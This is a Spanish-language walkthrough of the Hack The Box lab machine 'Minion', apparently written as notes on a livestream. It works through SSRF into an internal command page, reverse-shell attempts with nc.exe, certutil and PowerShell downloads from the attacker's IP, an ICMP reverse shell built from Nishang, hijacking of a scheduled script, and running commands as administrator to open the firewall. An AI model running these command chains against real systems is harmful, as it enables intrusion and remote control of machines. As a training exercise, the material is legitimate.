Volver atras HTB_Minion | Savinotes

HTB_Minion

Minion {-}

Introduccion {-}

La maquina del dia 03/08/2021 se llama Minion .

El replay del live se puede ver aqui

S4vitaar Minion maquina

No olvideis dejar un like al video y un comentario…

Enumeracion {-}

Reconocimiento de maquina, puertos abiertos y servicios {-}

Ping {-}

ping -c 1 10.10.10.57

ttl: 127 -> maquina Windows. Recuerda que en cuanto a ttl respecta 64 = linux y 128 = windows. Pero como estamos en hackthebox hay un nodo intermediario que hace que el ttl disminuya una unidad

Nmap {-}

nmap -p- --open -T5 -v -n 10.10.10.57 

Va lento

nmap -sS -p- --open --min-rate 5000 -vvv -n -Pn 10.10.10.57 -oG allPorts 
extractPorts allPorts
nmap -sC -sV -p62696 10.10.10.57 -oN targeted
PuertoServicioQue se nos occure?Que falta?
62696http - IISWeb, fuzzing, .asp

Analizando la web {-}

Whatweb {-}

whatweb http://10.10.10.57:62696

Nada muy interesante

http-enum {-}

Lanzamos un web scan con nmap.

nmap --script http-enum -p62696 10.10.10.57 -oN webScan

No nos detecta nada

Chequear la web por puerto 62696 {-}

Con firefox navegamos en la web para ver lo que es.

La pagina esta under construction y poco mas.

Fuzzing con WFuzz {-}

wfuzz -c -t 200 --hc=404 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt http://10.10.10.57:62696/FUZZ

Encontramos un ruta

 /backend 

pero no se ve nada en firefox. Decidimos fuzzear con la extension

 .asp 
wfuzz -c -t 200 --hc=404 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt http://10.10.10.57:62696/FUZZ.asp

Aqui encontramos un fichero

 test.asp 

y navigando no dice que no encuentra el parametro

 u 

que tendria que ser un URL. Intentamos ver si se conecta a nuestro servidor web

  1. Creamos un servidor web

    python3 -m http.server 80
  2. Intentamos conectar por la web

    http://10.10.10.57:62696/test.asp?u=http://10.10.14.8
    http://10.10.10.57:62696/test.asp?u=http://10.10.14.8/test

Aqui no pasa nada. La idea aqui, como solo tiene un puerto abierto seria de explorar si tiene puerto privados usando localhost

http://10.10.10.57:62696/test.asp?u=http://localhost

Aqui ya vemos que el puerto 80 interno de la maquina esta abierto. Decidimos descubrir los puertos abiertos de la maquina con WFUZZ

Descubrimiento de los puertos abiertos con WFUZZ {-}

Wfuzz permite hacer rangos de numeros con el parametro

 -z 
wfuzz -c -t 200 --hc=404 -z range,1-65535 http://10.10.10.57:62696/test.asp?u=http://localhost:FUZZ

Como nunca va a existir un codigo de estado 404, (porque el recurso existe), wfuzz no va a reportar como validas todas las requests. Hay que lanzar una vez y occultar las palabra que son de 89

wfuzz -c -t 200 --hc=404 --hw=89 -z range,1-65535 http://10.10.10.57:62696/test.asp?u=http://localhost:FUZZ

Aqui vemos que solo el puerto 80 esta abierto.

Esto funciona. Pero no vemos en la web el output del comando. Solo vemos el codigo de estado (0 si el comando a funcionado, 1 si no a funcionado)

Evaluacion de vulnerabilidades {-}

Analizamos la web interna por el puerto privado 80 {-}

Aqui se puede ver un panel de administrador donde parece que podamos ejecutar comandos a nivel de sistema. Si pinchamos el link no nos va a dejar porque nos lleva a una url interna

 127.0.0.1/cmd.aspx 

. Pero si la introducimos directamente en

http://10.10.10.57:62696/test.asp?u=http://localhost/cmd.aspx

functiona.

Si le lanzamos un whoami, nos redirige en una url un poco turbia. Analizando el codigo fuente vemos que la peticion es get con el nombre xcmd.

http://10.10.10.57:62696/test.asp?u=http://localhost/cmd.aspx?xcmd=whoami

Controlamos si tenemos conectividad con la maquina de atacante {-}

  1. Nos ponemos en escucha por trasa ICMP

    tcpdump -i tun0 icmp -n
  2. en la web

    http://10.10.10.57:62696/test.asp?u=http://localhost/cmd.aspx?xcmd=ping 10.10.14.8

Como es una maquina windows, tenemos que recivir 4 pings y es el caso. Tenemos conectividad con la maquina victima.

Explotacion de vulnerabilidad & Ganando Acceso {-}

Entablar una reverse shell {-}

  1. Nos ponemos en escucha por el puerto 443

    rlwrap nc -nlvp 443
  2. Preparamos un nc.exe para la maquina victima

    locate nc.exe
    cp /usr/share/sqlninja/apps/nc.exe ./content
  3. Nos creamos un registro compartido a nivel de red

    cd content
    impacket-smbserver smbFolder $(pwd) -smb2support
  4. En la web

    http://10.10.10.57:62696/test.asp?u=http://localhost/cmd.aspx?xcmd=\\10.10.14.8\smbFolder\nc.exe -e cmd 10.10.14.8 443

En este caso no responde y vemos un exit status 1. Intentamos de varias maneras

  1. Nos creamos un registro compartido a nivel de red

    impacket-smbserver smbFolder $(pwd) -smb2support -username s4vitar -password s4vitar123
http://10.10.10.57:62696/test.asp?u=http://localhost/cmd.aspx?xcmd=net use x: \\10.10.14.8\smbFolder /user:s4vitar s4vitar123

No responde y vemos un exit status 2.

Intentamos con un servidor web.

  1. Nos creamos un servidor web

    python3 -m http.server 80
http://10.10.10.57:62696/test.asp?u=http://localhost/cmd.aspx?xcmd=certutil.exe -f -urlcache -split http://10.10.14.8/nc.exe nc.exe
http://10.10.10.57:62696/test.asp?u=http://localhost/cmd.aspx?xcmd=powershell iwr -uri http://10.10.14.8/nc.exe -OutFile test

No responde y vemos un exit status que no es 0.

Aqui vemos que las conexiones por TCP no funcionan. Puede ser porque hay reglas definidas que no permiten utilizar TCP y S4vitar nos adelanta que tampoco funccionna por UDP.

Aqui hemos podido comprobar que:

Segun esta analisis intentamos crearnos una reverse shell por ICMP

Entablar una reverse shell por ICMP {-}

  1. Nos descargamos el Nishang

    git clone https://github.com/samratashok/nishang
    cd nishang
    cd Shells
    cp Invoke-PowerShellIcmp.ps1 ../../icmp.ps1
    cd ../..
    vi icmp.ps1

Aqui como tenemos que pasar por la url de la web para enviarnos el fichero, tenemos que preparar el fichero.

  1. Ejecucion de comandos prealables en nuestra maquina

    sysctl -w net.ipv4.icmp_echo_ignore_all=1
    wget https://raw.githubusercontent.com/bdamele/icmpsh/master/icmpsh_m.py
  2. Añadimos el invoke al final del fichero

    Invoke-PowerShellIcmp -IPAddress 10.10.14.8
  3. Borramos todo los comentarios que hay en el fichero

  4. Borramos todo los saltos de linea

    cat icmp.ps1 | sed '/^\s*$/d' > icmp
    rm icmp.ps1
    mv icmp icmp.ps1
  5. Utilizamos una powershell

    pwsh
  6. Codificamos el fichero en base64

    $fileContent = Get-Content -Raw ./icmp.ps1
    $fileContent
    $bytes = [System.Text.Encoding]::Unicode.GetBytes($fileContent)
    $encode = [Convert]::ToBase64String($bytes)
    $encode | Out-File icmp.ps1.b64
  7. En una shell linux normal modificamos los symbolos

 + 

y

 = 

para encodearlos en urlencode

```bash
php --interactive
print urlencode("+");
%2B
print urlencode("=");
%3D
```
  1. Modificamos todos los symbolos
 + 

por %2B y los symbolos

 = 

por %3D

  1. Spliteamos el fichero en dimensiones de lineas iguales

    fold icmp.ps1.b64 > icmp
  2. Nos creamos un script para automatizar el envio de cada linea del fichero

    #!/bin/bash
    
    function ctrl_c(){
        echo -e "\n\n[!] Saliendo...\n"
        exit 1
    }
    
    # Ctrl+C
    trap ctrl_c INT
    
    for line in $(cat icmp.ps1.b64); do
        command="echo ${line} >> C:\Temp\reverse.ps1"
        curl -s -v -X GET "http://10.10.10.57:62696/test.asp?u=http://localhost/cmd.aspx" --data-urlencode "xcmd=$command"
    done
  3. Lanzamos el Script

    ./fileUpload.sh
  4. Controlamos en la web si el fichero existe

    http://10.10.10.57:62696/test.asp?u=http://localhost/cmd.aspx?xcmd=type C:\Temp\reverse.ps1

    Vemos el status code a 0

  5. Decodificamos desde la web el fichero que esta en base64

    • las etapas serian estas

      $file = Get-Content C:\Temp\reverse.ps1 
      $decode = [System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String($file))
      $decode > C:\Temp\pwned.ps1
    • y en la url de la web seria:

      http://10.10.10.57:62696/test.asp?u=http://localhost/cmd.aspx?xcmd=powershell $file = Get-Content C:\Temp\reverse.ps1; $decode = [System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String($file)); $decode > C:\Temp\pwned.ps1
  6. Lanzamos el script python previamente descargado

    rlwrap python icmpsh_m.py 10.10.14.8 10.10.10.57
  7. Ejecutamos el pwned.ps1 desde la web

    http://10.10.10.57:62696/test.asp?u=http://localhost/cmd.aspx?xcmd=powershell C:\Temp\pwned.ps1

Por fin estamos adentro de la maquina ;)

Escalada de Privilegios {-}

Rootear la maquina {-}

whoami /priv
#Output

SEImpersonatePrivilege

Aqui ya vemos que podemos escalar privilegios con

 JuicyPotatoe.exe 

o

 RotenPotatoe.exe 

pero S4vitar nos muestra aqui una via alternativa de escalar privilegios en esta maquina.

Secuestro de comandos para copiar los ficheros del usuario decoder.MINION {-}

dir c:\
dir c:\sysadmscripts

Vemos en

 C:\ 

un directorio raro llamado

 sysadmscript 

. En este directorio, hay dos ficheros:

Analizando con el comando type lo que hacen estos script, vemos que el

 del_logs.bat 

llama al fichero

 c.ps1 

y lo ejecuta con powershell. Aqui pensamos que hay una tarea que se ejecuta a intervalo regular de tiempo que ejecuta el fichero

 del_logs.bat 

. Miramos si podemos modificar los ficheros.

cacls c:\sysadmscripts\del_logs.bat
cacls c:\sysadmscripts\c.ps1

Modificamos el Script para copiar los ficheros del usuario decoder.Minion

Aqui vemos que solo podemos modificar el fichero

 c.ps1 
echo "dir C:\Users\decoder.MINION\Desktop\ > C:\Temp\decoder_desktop.txt" > C:\Temp\c.ps1
echo "copy C:\Users\decoder.MINION\Desktop\user.txt > C:\Temp\decoder_user.txt" >> C:\Temp\c.ps1
echo "copy C:\Users\decoder.MINION\Desktop\* > C:\Temp\" >> C:\Temp\c.ps1
copy C:\Temp\c.ps1 C:\sysadmscripts\c.ps1

Esperando un poco, nos copia los ficheros en

 c:\temp 

. Podemos visualizar la flag del usuario. Tambien vemos un fichero

 backup.zip 

y si le chequeamos por Aditionnal Data Streams con el comando

Lectura de Additionnal Data Strems y crackeo de Hash {-}

Get-Item -Path C:\Temp\backup.zip -stream *

Vemos que tiene un stream llamado pass. Lo miramos con el comando

 type 
type C:\Temp\backup.zip:pass

y encontramos un hash. Si lo pasamos por crackstation nos da la contraseña.

Ejecucion de comandos como administrator con ScriptBlock {-}

Aqui el problema es que no tenemos conectividad con smb o otros puertos para conectarnos como root. La idea aqui seria de ejecutar comandos como administrator para cambiar la reglas del Firewall.

$user = 'minion\administrator'; $pw = '1234test'; $secpw = ConvertTo-SecureString $pw - AsPlainText -Force; $cred = New-Object \
System.Management.Automation.PSCredential $user, $secpw; Invoke-Command -ComputerName localhost -Credential $cred -ScriptBlock {whoami}

#Output
minion\administrator

Aqui vemos que podemos ejecutar comando como el usuario administrator. Vamos a por el cambio en el firewall

$user = 'minion\administrator'; $pw = '1234test'; $secpw = ConvertTo-SecureString $pw - AsPlainText -Force; $cred = New-Object \
System.Management.Automation.PSCredential $user, $secpw; Invoke-Command -ComputerName localhost -Credential $cred -ScriptBlock \
{New-NetFirewallRule -DisplayName setenso -RemoteAddress 10.10.14.8 -Direction inbound -Action Allow}

#Output
minion\administrator

Si ahora desde la maquina de atacante le hacemos un nmap para ver los puertos abiertos

nmap -sS --min-rate 5000 --open -vvv -n -Pn -p- 10.10.10.57

vemos que tenemos todo expuesto y como hay el puerto 3389 que es el puerto RDP ya nos podemos conectar con Remmina por ejemplo.

miio-remia Y ya estamos en la maquina como administrator

knitr::include_graphics("images/minion-pwned.png")